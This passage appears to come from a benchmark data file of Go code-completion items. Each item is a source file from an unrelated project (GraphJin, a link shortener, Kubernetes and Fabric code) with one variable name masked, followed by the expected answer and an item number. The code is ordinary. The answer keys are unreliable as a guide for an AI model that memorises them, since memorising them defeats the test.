} } type Error struct { Message string `json:""message""` } // Result struct contains the output of the GraphQL function this includes resulting json from the // database query and any error information type Result struct { ns string op qcode.QType name string sql string role string cacheControl string Vars json.RawMessage `json:""-""` Data json.RawMessage `json:""data,omitempty""` Hash [sha256.Size]byte `json:""-""` Errors []Error `json:""errors,omitempty""` Validation []qcode.ValidErr `json:""validation,omitempty""` // Extensions *extensions `json:""extensions,omitempty""` } // ReqConfig is used to pass request specific config values to the GraphQL and Subscribe functions. Dynamic variables can be set here. type ReqConfig struct { ns *string // APQKey is set when using GraphJin with automatic persisted queries APQKey string // Pass additional variables complex variables such as functions that return string values. Vars map[string]interface{} // Execute this query as part of a transaction Tx *sql.Tx } // SetNamespace is used to set namespace requests within a single instance of GraphJin. For example queries with the same name func (rc *ReqConfig) SetNamespace(ns string) { rc.ns = &ns } func (rc *ReqConfig) GetNamespace() (string, bool) { if rc.ns != nil { return *rc.ns, true } return """", false } // GraphQL function is our main function it takes a GraphQL query compiles it // to SQL and executes returning the resulting JSON. // // In production mode the compiling happens only once and from there on the compiled queries // are directly executed. // // In developer mode all named queries are saved into the queries folder and in production mode only // queries from these saved queries can be used. func (g *GraphJin) GraphQL(c context.Context, query string, vars json.RawMessage, rc *ReqConfig, ) (res *Result, err error) { gj := g.Load().(*graphjin) c1, span := gj.spanStart(c, ""GraphJin Query"") defer span.End() var queryBytes []byte var inCache bool // get query from apq cache if apq key exists if rc != nil && rc.APQKey != """" { queryBytes, inCache = gj.cache.Get(APQ_PX + rc.APQKey) } // query not found in apq cache so use original query if len(queryBytes) == 0 { queryBytes = []byte(query) } // fast extract name and query type from query h, err := graph.FastParseBytes(queryBytes) if err != nil { return } r := gj.newGraphqlReq(rc, h.Operation, h.Name, queryBytes, vars) // if production security enabled then get query and metadata // from allow list if gj.prodSec { var item allow.Item item, err = gj.allowList.GetByName(h.Name, true) if err != nil { err = fmt.Errorf(""%w: %s"", err, h.Name) return } r.Set(item) } // do the query resp, err := gj.query(c1, r) res = &resp.res if err != nil { return } // save to apq cache is apq key exists and not already in cache if !inCache && rc != nil && rc.APQKey != """" { gj.cache.Set((APQ_PX + rc.APQKey), r.query) } // if not production then save to allow list if !gj.prod && r.name != ""IntrospectionQuery"" { if err = gj.saveToAllowList(resp.qc, resp.res.ns); err != nil { return } } return } // GraphQLTx is similiar to the GraphQL function except that it can be used // within a database transactions. func (g *GraphJin) GraphQLTx(c context.Context, tx *sql.Tx, query string, vars json.RawMessage, rc *ReqConfig, ) (res *Result, err error) { if rc == nil { rc = &ReqConfig{Tx: tx} } else { rc.Tx = tx } return g.GraphQL(c, query, vars, rc) } // GraphQLByName is similar to the GraphQL function except that queries saved // in the queries folder can directly be used just by their name (filename). func (g *GraphJin) GraphQLByName(c context.Context, name string, vars json.RawMessage, rc *ReqConfig, ) (res *Result, err error) { gj := g.Load().(*graphjin) c1, span := gj.spanStart(c, ""GraphJin Query"") defer span.End() item, err := gj.allowList.GetByName(name, gj.prod) if err != nil { err = fmt.Errorf(""%w: %s"", err, name) return } r := gj.newGraphqlReq(rc, """", name, nil, vars) r.Set(item) res, err = gj.queryWithResult(c1, r) return } // GraphQLByNameTx is similiar to the GraphQLByName function except // that it can be used within a database transactions. func (g *GraphJin) GraphQLByNameTx(c context.Context, tx *sql.Tx, name string, vars json.RawMessage, rc *ReqConfig, ) (res *Result, err error) { if rc == nil { rc = &ReqConfig{Tx: tx} } else { rc.Tx = tx } return g.GraphQLByName(c, name, vars, rc) } type graphqlReq struct { ns string op qcode.QType name string query []byte vars json.RawMessage aschema map[string]json.RawMessage rc *ReqConfig } type graphqlResp struct { res Result qc *qcode.QCode } func (gj *graphjin) newGraphqlReq(rc *ReqConfig, op string, name string, query []byte, vars json.RawMessage, ) (r graphqlReq) { r = graphqlReq{ op: qcode.GetQTypeByName(op), name: name, query: query, vars: vars, } if rc != nil { r.rc = rc } if rc != nil && rc.ns != nil { r.ns = *rc.ns } else { r.ns = gj.namespace } return } func (r *graphqlReq) Set(item allow.Item) { r.ns = item.Namespace r.op = qcode.GetQTypeByName(item.Operation) r.name = item.Name r.query = item.Query r.aschema = item.ActionJSON } func (gj *graphjin) queryWithResult(c context.Context, r graphqlReq) (res *Result, err error) { resp, err := gj.query(c, r) return &resp.res, err } func (gj *graphjin) query(c context.Context, r graphqlReq) ( resp graphqlResp, err error, ) { resp.res = Result{ ns: r.ns, op: r.op, name: r.name, } if !gj.prodSec && r.name == ""IntrospectionQuery"" { resp.res.Data, err = gj.getIntroResult() return } if r.op == qcode.QTSubscription { err = errors.New(""use 'core.Subscribe' for subscriptions"") return } if r.op == qcode.QTMutation && gj.schema.DBType() == ""mysql"" { err = errors.New(""mysql: mutations not supported"") return } s, err := newGState(c, gj, r) if err != nil { return } err = s.compileAndExecuteWrapper(c) resp.qc = s.qcode() resp.res.sql = s.sql() resp.res.cacheControl = s.cacheHeader() resp.res.Vars = r.vars resp.res.Data = json.RawMessage(s.data) resp.res.Hash = s.dhash resp.res.role = s.role if err != nil { resp.res.Errors = newError(err) } if len(s.verrs) != 0 { resp.res.Validation = s.verrs } return } // Reload redoes database discover and reinitializes GraphJin. func (g *GraphJin) Reload() error { return g.reload(nil) } func (g *GraphJin) reload(di *sdata.DBInfo) (err error) { gj := g.Load().(*graphjin) err = g.newGraphJin(gj.conf, gj.db, di, gj.fs, gj.opts...) return } // IsProd return true for production mode or false for development mode func (g *GraphJin) IsProd() bool { gj := g.Load().(*graphjin) return gj.prod } type Header struct { Type OpType Name string } // Operation function return the operation type and name from the query. // It uses a very fast algorithm to extract the operation without having to parse the query. func Operation(query string) (h Header, err error) { if v, err := graph.FastParse(query); err == nil { h.Type = OpType(qcode.GetQTypeByName(v.Operation)) h.Name = v.Name } return } func getFS(conf *Config) (fs FS, err error) { if v, ok := conf.FS.(FS); ok { fs = v return } v, err := os.Getwd() if err != nil { return } fs = NewOsFS(filepath.Join(v, ""config"")) return } func newError(err error) ( [MASK] []Error) { [MASK] = []Error{{Message: err.Error()}} return } ",errList 816,"package api import ( ""fmt"" ""github.com/go-playground/validator/v10"" ""github.com/gofiber/fiber/v2"" ""github.com/tnfy-link/backend/internal/api/limiter"" ""github.com/tnfy-link/backend/internal/api/param"" ""github.com/tnfy-link/backend/internal/links"" ""github.com/tnfy-link/backend/internal/stats"" ""github.com/tnfy-link/client-go/api"" ""github.com/tnfy-link/core/handler"" ""go.uber.org/zap"" ) type Links struct { handler.Base links *links.Service stats *stats.Service } // @Summary Get link metadata // @Description Get link metadata by ID // @Tags Links // @Produce json // @Param id path string true ""Link ID"" // @Success 200 {object} api.GetLinkResponse // @Failure 400 {object} http.JSONErrorResponse // @Failure 404 {object} http.JSONErrorResponse // @Failure 500 {object} http.JSONErrorResponse // @Router /links/{id} [get] // // Get Link func (c *Links) get(ctx *fiber.Ctx) error { id := ctx.Params(""id"") link, err := c.links.Get(ctx.Context(), id) if err == links.ErrLinkNotFound { return ctx.SendStatus(fiber.StatusNotFound) } if err != nil { c.Logger.Error(""failed to get link"", zap.Error(err), zap.String(""id"", id)) return ctx.SendStatus(fiber.StatusInternalServerError) } return ctx.JSON( api.GetLinkResponse{ Link: link, }, ) } // @Summary Shorten link // @Description Shorten link // @Tags Links // @Accept json // @Produce json // @Param link body api.PostLinksRequest true ""Link"" // @Success 201 {object} api.PostLinksResponse // @Failure 400 {object} http.JSONErrorResponse ""Bad Request"" // @Failure 429 {object} http.JSONErrorResponse ""Too many requests"" // @Failure 500 {object} http.JSONErrorResponse // @Router /links [post] // // Shorten link func (c *Links) post(ctx *fiber.Ctx) error { req := api.PostLinksRequest{} if err := c.BodyParserValidator(ctx, &req); err != nil { return err } link, err := c.links.Create(ctx.Context(), links.NewNewLink(req.Link.TargetURL)) if [MASK] := links.AsValidationError(err); [MASK] != nil { return fiber.NewError(fiber.StatusBadRequest, fmt.Sprintf(""failed to create link: %s"", [MASK] .Error())) } if err != nil { c.Logger.Error(""failed to create link"", zap.Error(err), zap.String(""link"", req.Link.TargetURL)) return fiber.NewError(fiber.StatusInternalServerError, fmt.Sprintf(""failed to create link: %s"", err.Error())) } return ctx. Status(fiber.StatusCreated). JSON( api.PostLinksResponse{ Link: link, }, ) } // @Summary Get link stats // @Description Get link stats by ID // @Tags Links // @Produce json // @Param id path string true ""Link ID"" // @Success 200 {object} api.GetStatsResponse // @Failure 400 {object} http.JSONErrorResponse // @Failure 404 {object} http.JSONErrorResponse // @Failure 500 {object} http.JSONErrorResponse // @Router /links/{id}/stats [get] // // Get Statistics func (c *Links) getStats(ctx *fiber.Ctx) error { id := ctx.Params(""id"") s, err := c.stats.Get(ctx.Context(), id) if err == stats.ErrNotFound { return ctx.SendStatus(fiber.StatusNotFound) } if err != nil { c.Logger.Error(""failed to get stats"", zap.Error(err), zap.String(""id"", id)) return fiber.NewError(fiber.StatusInternalServerError, fmt.Sprintf(""failed to get link stats: %s"", err.Error())) } return ctx.JSON( api.GetStatsResponse{ Stats: s, }, ) } func (c *Links) Register(router fiber.Router) { idValidator := param.NewValidator(""id"", c.links.ValidateID) router.Get(""/:id"", idValidator, c.get) router.Post( ""/"", limiter.New(1), c.post, ) router.Get(""/:id/stats"", idValidator, c.getStats) } func NewLinks(links *links.Service, stats *stats.Service, v *validator.Validate, l *zap.Logger) *Links { switch { case links == nil: panic(""links service is required"") case stats == nil: panic(""stats service is required"") case v == nil: panic(""validator is required"") case l == nil: panic(""logger is required"") } return &Links{ Base: handler.Base{ Validator: v, Logger: l, }, links: links, stats: stats, } } ",verr 817,"package main import ( ""context"" ""fmt"" ""net/http"" ""strings"" admissionv1beta1 ""k8s.io/api/admission/v1beta1"" ""k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/schema"" ""k8s.io/apimachinery/pkg/types"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sigs.k8s.io/controller-runtime/pkg/webhook/admission"" ) var ( allAllowedOperations = map[admissionv1beta1.Operation]struct{}{ admissionv1beta1.Create: struct{}{}, admissionv1beta1.Update: struct{}{}, admissionv1beta1.Delete: struct{}{}, admissionv1beta1.Connect: struct{}{}, } ) type allowedOperationsValidator struct { client client.Client decoder *admission.Decoder } var _ ExtendedHandler = &allowedOperationsValidator{} func (v *allowedOperationsValidator) Handle(ctx context.Context, req admission.Request) admission.Response { res := &unstructured.Unstructured{} // TODO more correct way to convert? res.SetGroupVersionKind(schema.GroupVersionKind{ Group: req.Kind.Group, Version: req.Kind.Version, Kind: req.Kind.Kind, }) if len(req.Object.Raw) > 0 { err := v.decoder.Decode(req, res) if err != nil { return admission.Errored(http.StatusBadRequest, fmt.Errorf(""decoding: %s"", err)) } } else { err := v.client.Get(ctx, types.NamespacedName{Namespace: req.Namespace, Name: req.Name}, res) if err != nil { return admission.Errored(http.StatusBadRequest, fmt.Errorf(""getting resource: %s"", err)) } } obj := v.newObjFromResource(res) resp := HasUnknownAnns(res) if resp != nil { return *resp } switch req.Operation { case admissionv1beta1.Create: allowedOps, resp := v.canPerform(obj, admissionv1beta1.Create) if resp != nil { return *resp } return v.newDeny(admissionv1beta1.Create, allowedOps) case admissionv1beta1.Update: resp := v.validateOps(obj) if resp != nil { return *resp } oldAllowedOps, resp := v.canPerform(v.newObjFromObj(req.OldObject), admissionv1beta1.Update) if resp != nil { return *resp } [MASK] , resp := v.canPerform(obj, admissionv1beta1.Update) if resp != nil { return *resp } return v.newDeny(admissionv1beta1.Update, append(oldAllowedOps, [MASK] ...)) case admissionv1beta1.Delete: allowedOps, resp := v.canPerform(obj, admissionv1beta1.Delete) if resp != nil { return *resp } return v.newDeny(admissionv1beta1.Delete, allowedOps) // TODO what is connect? case admissionv1beta1.Connect: allowedOps, resp := v.canPerform(obj, admissionv1beta1.Connect) if resp != nil { return *resp } return v.newDeny(admissionv1beta1.Connect, allowedOps) default: return admission.Denied(fmt.Sprintf(""unknown operation '%s'"", req.Operation)) } } func (v *allowedOperationsValidator) newDeny(wantedOp admissionv1beta1.Operation, allowedOps []admissionv1beta1.Operation) admission.Response { var ops []string uniqOps := map[admissionv1beta1.Operation]struct{}{} for _, op := range allowedOps { if _, found := uniqOps[op]; !found { uniqOps[op] = struct{}{} ops = append(ops, string(op)) } } return admission.Denied(fmt.Sprintf(""resource %s is denied via '%s' annotation (allows only %s)"", wantedOp, allowedOperationsAnnKey, strings.Join(ops, "", ""))) } type parsedObjFunc func() (*unstructured.Unstructured, *admission.Response) func (v *allowedOperationsValidator) newObjFromResource(res *unstructured.Unstructured) parsedObjFunc { return func() (*unstructured.Unstructured, *admission.Response) { return res, nil } } func (v *allowedOperationsValidator) newObjFromObj(obj runtime.RawExtension) parsedObjFunc { return func() (*unstructured.Unstructured, *admission.Response) { res := &unstructured.Unstructured{} err := v.decoder.DecodeRaw(obj, res) if err != nil { resp := admission.Errored(http.StatusBadRequest, fmt.Errorf(""decoding raw: %s"", err)) return nil, &resp } return res, nil } } func (v *allowedOperationsValidator) validateOps(obj parsedObjFunc) *admission.Response { _, resp := v.allowedOps(obj) return resp } func (v *allowedOperationsValidator) allowedOps(obj parsedObjFunc) ([]admissionv1beta1.Operation, *admission.Response) { res, resp := obj() if resp != nil { return nil, resp } annVal, found := res.GetAnnotations()[allowedOperationsAnnKey] if !found { return []admissionv1beta1.Operation{ admissionv1beta1.Create, admissionv1beta1.Update, admissionv1beta1.Delete, admissionv1beta1.Connect, }, nil } if annVal == """" { // No operations are allowed return nil, nil } var allowedOps []admissionv1beta1.Operation for _, op := range strings.Split(annVal, "","") { if _, found := allAllowedOperations[admissionv1beta1.Operation(op)]; !found { resp := admission.Denied(fmt.Sprintf(""annotation '%s' contains unknown allowed operation '%s'"", allowedOperationsAnnKey, op)) return nil, &resp } allowedOps = append(allowedOps, admissionv1beta1.Operation(op)) } return allowedOps, nil } func (v *allowedOperationsValidator) canPerform(obj parsedObjFunc, wantedOp admissionv1beta1.Operation) ([]admissionv1beta1.Operation, *admission.Response) { allowedOps, resp := v.allowedOps(obj) if resp != nil { return allowedOps, resp } for _, op := range allowedOps { if op == wantedOp { resp := admission.Allowed(fmt.Sprintf(""operation '%s' is allowed"", op)) return allowedOps, &resp } } return allowedOps, nil } func (v *allowedOperationsValidator) InjectClient(c client.Client) error { v.client = c return nil } func (v *allowedOperationsValidator) InjectDecoder(d *admission.Decoder) error { v.decoder = d return nil } ",newAllowedOps 818,"package apps import ( ""database/sql/driver"" ""fmt"" ""time"" ) type FmtTime time.Time type Model struct { ID uint `gorm:""primaryKey"" json:""id""` CreatedAt FmtTime `json:""createdAt"" binding:""-""` UpdatedAt FmtTime `json:""-"" binding:""-""` DeletedAt *FmtTime `gorm:""index"" json:""-"" binding:""-""` } func (t *FmtTime) MarshalJSON() ([]byte, error) { tTime := time.Time(*t) return []byte(fmt.Sprintf(""\""%v\"""", tTime.Format(""2006-01-02 15:04:05""))), nil } func (t *FmtTime) UnmarshalJSON(data []byte) error { if string(data) == ""null"" { return nil } // Fractional seconds are handled implicitly by Parse. tim, err := time.Parse(`""`+time.RFC3339+`""`, string(data)) *t = FmtTime(tim) return err } func (t *FmtTime) ToString() string { tTime := time.Time(*t) return tTime.Format(""2006-01-02 15:04:05"") } func (t FmtTime) Value() (driver.Value, error) { var zeroTime time.Time [MASK] := time.Time(t) //判断给定时间是否和默认零时间的时间戳相同 if [MASK] .UnixNano() == zeroTime.UnixNano() { return nil, nil } return [MASK] , nil } func (t *FmtTime) Scan(v interface{}) error { if value, ok := v.(time.Time); ok { *t = FmtTime(value.Local()) return nil } return fmt.Errorf(""can not convert %v to timestamp"", v) } ",tlt 819,"package netapp import ( ""encoding/json"" ) type AccessEndPoints struct { Links struct { Next struct { Href string `json:""href""` } `json:""next""` Self struct { Href string `json:""href""` } `json:""self""` } `json:""_links""` NumRecords int `json:""num_records""` Records []struct { Links struct { Self struct { Href string `json:""href""` } `json:""self""` } `json:""_links""` DataProtocols []string `json:""data_protocols""` Gateways []string `json:""gateways""` IP struct { Address string `json:""address""` Netmask string `json:""netmask""` } `json:""ip""` Key string `json:""key""` Mtu int `json:""mtu""` Name string `json:""name""` Svm struct { Links struct { Self struct { Href string `json:""href""` } `json:""self""` } `json:""_links""` Key string `json:""key""` Name string `json:""name""` UUID string `json:""uuid""` } `json:""svm""` UUID string `json:""uuid""` Vlan int `json:""vlan""` Wwpn string `json:""wwpn""` } `json:""records""` TotalRecords int `json:""total_records""` } /* GetAccessEndPointsV2... Retrieves all access endpoints for an SVM, file share, or LUN. Network interfaces are provided with attributes, such as ""ip.address"", ""ip.netmask"", “gateway” and so on while FCP interfaces are provided with the “wwpn” attribute. You can provide the properties svm.key, fileshare.key, and lun.key to filter out the interfaces as follows: svm.key - all types of interfaces for SAN and NAS (CIFS, NFS, ISCSI, and FCP protocols) are filtered. fileshare.key - all interfaces with NAS protocols (CIFS and NFS) are filtered. lun.key - all interfaces with SAN protocols (iSCSI and FCP) are filtered. */ func GetAccessEndPointsV2(key string) (AccessEndPoints, error) { var clusters AccessEndPoints query := ""/api/storage-provider/access-endpoints?resource.key="" + key [MASK] , err := getResponseBody(query) if err != nil { return clusters, err } err = json.Unmarshal( [MASK] , &clusters) if err != nil { return clusters, err } return clusters, nil } ",bodyText 820,"package main import ( ""testing"" ""os"" ""io/ioutil"" ""strings"" ) func TestAppendToFile(t *testing.T){ filename := ""/tmp/test"" info := ""info"" f, err := os.Create(filename) if err != nil { t.Error(err) } f.Close() appendToFile(&info, &filename) fb, err := ioutil.ReadFile(filename) if err != nil { t.Error(err) } if fb == nil { t.Error(""A file must be returned"") } fs := string(fb) if [MASK] := strings.Contains(fs, ""info""); [MASK] == false { t.Error(""String was not contained in file"") } } func TestMountString(t *testing.T){ args := []string{""abd"",""/123/""} s := mountString(args) expectedR := ""export ABD=/123/\n"" if *s != expectedR { t.Errorf(""return \""%s\"" != expected \""%s\""\n"", *s, expectedR) } } func TestOpenFile(t *testing.T){ fn := ""/tmp/test"" f, err := os.Create(fn) if err != nil { t.Error(""File could not be created"") } f.Close() f = openFile(fn) if f == nil { t.Error(""A file must be returned"") } //Now delete the file and pass it again, must return an error err = os.Remove(fn) if err != nil { t.Error(""Error in test script: The file could not be removed"") } defer func(){ if err := recover(); err == nil { t.Error(""No error has been returned after passing a non existing file"") } }() f = openFile(fn) }",isInFile 821,"package alliance import ( ""fmt"" ""log"" ""github.com/gogo/protobuf/proto"" ""github.com/hyperledger/fabric/core/chaincode/shim"" pb ""github.com/hyperledger/fabric/protos/peer"" tfcPb ""github.com/stefanprisca/strategy-protobufs/tfc"" ) func getAllianceLedgerKey(cID uint32) string { return fmt.Sprintf(""alliance%v"", cID) } func HandleInit(APIstub shim.ChaincodeStubInterface) pb.Response { log.Println(""Hadling alliance init"") protoArgs := APIstub.GetArgs()[1] trxArgs := &tfcPb.AllianceTrxArgs{} err := proto.Unmarshal(protoArgs, trxArgs) if err != nil { return shim.Error( fmt.Sprintf(""could not unmarshal arguments proto message <%v>: %s"", protoArgs, err)) } allianceData := trxArgs.InitPayload allianceData.State = tfcPb.AllianceState_ACTIVE // the lifespan will be reduced by one after the first next, // so just add one up. No harm done allianceData.Lifespan++ protoData, err := proto.Marshal(allianceData) if err != nil { return shim.Error( fmt.Sprintf(""could not marshal the alliance data <%v>: %s"", allianceData, err)) } allianceContractID := allianceData.ContractID ledgerKey := getAllianceLedgerKey(allianceContractID) // Cannot put private data in the init... log.Println(""Putting state on ledger...."") collection := trxArgs.CollectionID err = APIstub.PutPrivateData(collection, ledgerKey, protoData) if err != nil { return shim.Error( fmt.Sprintf(""could not save the state on the ledger: %s"", err)) } log.Printf(""Saved state on the ledger. \n\n\t ###### State: #####\n %v\n\n"", protoData) return shim.Success(protoData) } func HandleInvoke(APIstub shim.ChaincodeStubInterface) pb.Response { log.Println(""Hadling alliance invoke"") protoArgs := APIstub.GetArgs()[1] alliTrxArgs := &tfcPb.AllianceTrxArgs{} err := proto.Unmarshal(protoArgs, alliTrxArgs) if err != nil { return shim.Error( fmt.Sprintf(""could not unmarshal arguments proto message <%v>: %s"", protoArgs, err)) } // TODO: Assert preconditions trxArgs := alliTrxArgs.InvokePayload allianceContractID := trxArgs.ObserverID ledgerKey := getAllianceLedgerKey(allianceContractID) collection := alliTrxArgs.CollectionID allianceData, err := getAllianceLedgerData(APIstub, collection, ledgerKey) if err != nil { return shim.Error(err.Error()) } newAllianceData := reduceAllianceTerms(*allianceData, trxArgs.CompletedTrxArgs) newAllianceData = reduceLifespan(newAllianceData, trxArgs) newAllianceState := computeNextAllianceState(newAllianceData, trxArgs.State) newAllianceData.State = newAllianceState protoData, err := proto.Marshal(&newAllianceData) if err != nil { return shim.Error( fmt.Sprintf(""could not marshal the alliance data <%v>: %s"", newAllianceData, err)) } log.Println(""Finished invoke..putting state on the ledger"") err = APIstub.PutPrivateData(collection, ledgerKey, protoData) if err != nil { return shim.Error( fmt.Sprintf(""could not save the state on the ledger: %s"", err)) } log.Printf(""Saved state on the ledger. \n\n\t ###### State: #####\n %v\n\n"", protoData) return shim.Success(protoData) } func reduceAllianceTerms(allianceData tfcPb.AllianceData, trxArgs *tfcPb.GameContractTrxArgs) tfcPb.AllianceData { [MASK] := []*tfcPb.GameContractTrxArgs{} for i := range allianceData.Terms { if proto.Equal(allianceData.Terms[i], trxArgs) { continue } [MASK] = append( [MASK] , allianceData.Terms[i]) } allianceData.Terms = [MASK] return allianceData } func reduceLifespan(allianceData tfcPb.AllianceData, args *tfcPb.TrxCompletedArgs) tfcPb.AllianceData { if args.State != allianceData.StartGameState { return allianceData } if args.CompletedTrxArgs.Type != tfcPb.GameTrxType_NEXT { return allianceData } allianceData.Lifespan-- return allianceData } func computeNextAllianceState(allianceData tfcPb.AllianceData, gameState tfcPb.GameState) tfcPb.AllianceState { if len(allianceData.Terms) == 0 { return tfcPb.AllianceState_COMPLETED } if allianceData.Lifespan == 0 { return tfcPb.AllianceState_FAILED } return tfcPb.AllianceState_ACTIVE } func getAllianceLedgerData(APIstub shim.ChaincodeStubInterface, collection, ledgerKey string) (*tfcPb.AllianceData, error) { protoData, err := APIstub.GetPrivateData(collection, ledgerKey) if err != nil { return nil, err } allianceData := &tfcPb.AllianceData{} err = proto.Unmarshal(protoData, allianceData) if err != nil { return nil, fmt.Errorf(""Could not unmarshal the proto contract. Error: %s"", err.Error()) } return allianceData, nil } ",newTerms 822,"// generate.go package main import ( ""encoding/json"" ""fmt"" ""go/format"" ""io/ioutil"" ""os"" ""path/filepath"" ""strings"" ""text/template"" ""github.com/goccy/go-yaml"" ) // Field represents a field in the YAML file type Field struct { Name string `yaml:""name""` Type string `yaml:""type""` } // Config represents the structure of the YAML file type Config struct { Fields []Field `yaml:""fields""` Name string `yaml:""name""` Identifier map[string]any `yaml:""identifier""` } // MethodData represents data needed to generate a method type MethodData struct { ClassName string MethodName string Name string } // ClassData represents data needed to generate a class type ClassData struct { ClassName string Name string Identifier string } const structTemplate = ` type {{.ClassName}} struct { Builder name string identifier map[string]any values map[string]any } func New{{.ClassName}}() *{{.ClassName}} { x := {{.ClassName}}{} x.init() return &x } func (c *{{.ClassName}}) init() { c.name = ""{{.Name}}"" c.identifier= make(map[string]any) json.Unmarshal([]byte(""{{.Identifier}}""), &c.identifier) c.values = make(map[string]any) } func (c *{{.ClassName}}) Format() (string, error) { return format(c.name, c.identifier, c.values) } func (c *{{.ClassName}}) UnknownValue(name string, value any) { c.values[name] = value } func (c *{{.ClassName}}) Merge(other *{{.ClassName}}) { for k, v := range other.values { c.values[k] = v } } ` // Template for generating methods const methodTemplate = ` func (c *{{.ClassName}}) {{.MethodName}}(value any) { c.values[""{{.Name}}""] = value } ` func CreateFile(path string) (*strings.Builder, error) { yamlFile, err := os.ReadFile(path) if err != nil { return nil, err } var config Config err = yaml.Unmarshal(yamlFile, &config) if err != nil { return nil, err } b, _ := json.Marshal(config.Identifier) tmplM, err := template.New(""method"").Parse(methodTemplate) if err != nil { return nil, err } [MASK] , err := template.New(""class"").Parse(structTemplate) if err != nil { return nil, err } c := strings.Builder{} escapedIdentifier := strings.ReplaceAll(string(b), `""`, `\""`) cData := ClassData{ ClassName: capitalize(config.Name), Name: config.Name, Identifier: escapedIdentifier, } err = [MASK] .Execute(&c, cData) if err != nil { return nil, err } // Iterate through fields and generate methods for _, field := range config.Fields { data := MethodData{ ClassName: capitalize(config.Name), MethodName: ""Add"" + capitalize(removeDash(field.Name)), Name: removeDash(field.Name), } err = tmplM.Execute(&c, data) if err != nil { return nil, err } } return &c, nil } func main() { // Read and parse the YAML file yamlDir := ""pkg/qtag/declarations"" files, err := ioutil.ReadDir(yamlDir) if err != nil { panic(err) } c := strings.Builder{} c.WriteString(""package qtag\nimport (\n\t\""encoding/json\""\n)\n\n"") for _, f := range files { var s *strings.Builder s, err = CreateFile(filepath.Join(yamlDir, f.Name())) if err != nil { panic(err) } c.WriteString(s.String()) } // Create the generated file f, err := os.Create(""pkg/qtag/generated.go"") if err != nil { panic(err) } defer f.Close() formattedCode, err := format.Source([]byte(c.String())) if err != nil { panic(err) } f.Write(formattedCode) fmt.Println(""example/generated.go has been generated"") } // capitalize capitalizes the first letter of a string func capitalize(s string) string { if len(s) == 0 { return """" } return string(s[0]-32) + s[1:] } func removeDash(s string) string { if len(s) == 0 { return """" } if strings.Contains(s, ""-"") { return strings.Replace(s, ""-"", ""__"", -1) } return s } ",tmplC 823,"package main import ( ""context"" ""fmt"" ""iter"" ""log"" ""os"" cn ""github.com/takanoriyanagitani/go-csv-add-namespace"" fb ""github.com/takanoriyanagitani/go-csv-add-namespace/fs/basename"" cs ""github.com/takanoriyanagitani/go-csv-add-namespace/fs/csv/std"" . ""github.com/takanoriyanagitani/go-csv-add-namespace/util"" ) func envValByKey(key string) IO[string] { return func(_ context.Context) (string, error) { [MASK] , found := os.LookupEnv(key) switch found { case true: return [MASK] , nil default: return """", fmt.Errorf(""env var %s missing"", key) } } } var path2namespace func(string) IO[cn.Namespace] = fb.PathToNamespaceDefault var filename2rows func(string) IO[iter.Seq2[cn.CsvRow, error]] = cs. FilenameToRows func path2namedRows(filename string) IO[cn.NamedRows] { return Bind( path2namespace(filename), func(ns cn.Namespace) IO[cn.NamedRows] { return Bind( filename2rows(filename), Lift(func( rows iter.Seq2[cn.CsvRow, error], ) (cn.NamedRows, error) { return cn.NamedRows{ Rows: rows, Namespace: ns, }, nil }), ) }, ) } var rows2named func(cn.NamedRows) IO[iter.Seq2[cn.Named, error]] = cs. RowsToNamedDefault func path2namedIter(filename string) IO[iter.Seq2[cn.Named, error]] { return Bind( path2namedRows(filename), rows2named, ) } var csvFilename IO[string] = envValByKey(""ENV_INPUT_CSVNAME"") var namedIter IO[iter.Seq2[cn.Named, error]] = Bind( csvFilename, path2namedIter, ) var writeNamedRows func(iter.Seq2[cn.Named, error]) IO[Void] = cs. WriteNamedRowsToStdout var filename2iter2stdout IO[Void] = Bind( namedIter, writeNamedRows, ) var sub IO[Void] = func(ctx context.Context) (Void, error) { ctx, cancel := context.WithCancel(ctx) defer cancel() return filename2iter2stdout(ctx) } func main() { _, e := sub(context.Background()) if nil != e { log.Printf(""%v\n"", e) } } ",val 824,"package gateway import ( ""context"" ""fmt"" ""github.com/kube-vip/kube-vip-cloud-provider/pkg/ipam"" ""sigs.k8s.io/gateway-api/apis/v1beta1"" v1 ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/labels"" ""k8s.io/apimachinery/pkg/types"" ""k8s.io/klog"" ""sigs.k8s.io/controller-runtime/pkg/client"" ) func (r *GatewayReconciler) retrieveIPAddress(ctx context.Context, namespace, configmapName string) (string, error) { // Retrieve the configmap that contains our IPAM configuration var configMap v1.ConfigMap key := types.NamespacedName{ Namespace: namespace, Name: configmapName, } err := r.Get(ctx, key, &configMap) if err != nil { return """", err } // Get all services in this namespace, that have the correct label var services v1.ServiceList selector := labels.SelectorFromSet(map[string]string{ ""implementation"": r.ImplementationLabel, }) err = r.List(ctx, &services, &client.ListOptions{LabelSelector: selector}) if err != nil { return """", err } var existingServiceIPS []string for x := range services.Items { existingServiceIPS = append(existingServiceIPS, services.Items[x].Labels[""ipam-address""]) } // Get all gatewats in this namespace, that have the correct label var gateways v1beta1.GatewayList err = r.List(ctx, &gateways, &client.ListOptions{LabelSelector: selector}) if err != nil { return """", err } var [MASK] []string for x := range gateways.Items { [MASK] = append( [MASK] , gateways.Items[x].Labels[""ipam-address""]) } // If the LoadBalancer address is empty, then do a local IPAM lookup usedAddresses := UniqueAddresses( [MASK] , existingServiceIPS) loadBalancerIP, err := discoverAddress(&configMap, namespace, configmapName, usedAddresses) if err != nil { return """", err } return loadBalancerIP, nil } func UniqueAddresses(addresses ...[]string) []string { uniqueMap := map[string]bool{} for _, intSlice := range addresses { for _, number := range intSlice { uniqueMap[number] = true } } // Create a slice with the capacity of unique items // This capacity make appending flow much more efficient result := make([]string, 0, len(uniqueMap)) for key := range uniqueMap { result = append(result, key) } return result } func discoverAddress(cm *v1.ConfigMap, namespace, configMapName string, existingServiceIPS []string) (vip string, err error) { var cidr, ipRange string var ok bool // Find Cidr cidrKey := fmt.Sprintf(""cidr-%s"", namespace) // Lookup current namespace if cidr, ok = cm.Data[cidrKey]; !ok { klog.Info(fmt.Errorf(""no cidr config for namespace [%s] exists in key [%s] configmap [%s]"", namespace, cidrKey, configMapName)) // Lookup global cidr configmap data if cidr, ok = cm.Data[""cidr-global""]; !ok { klog.Info(fmt.Errorf(""no global cidr config exists [cidr-global]"")) } else { klog.Infof(""Taking address from [cidr-global] pool"") } } else { klog.Infof(""Taking address from [%s] pool"", cidrKey) } if ok { vip, err = ipam.FindAvailableHostFromCidr(namespace, cidr, 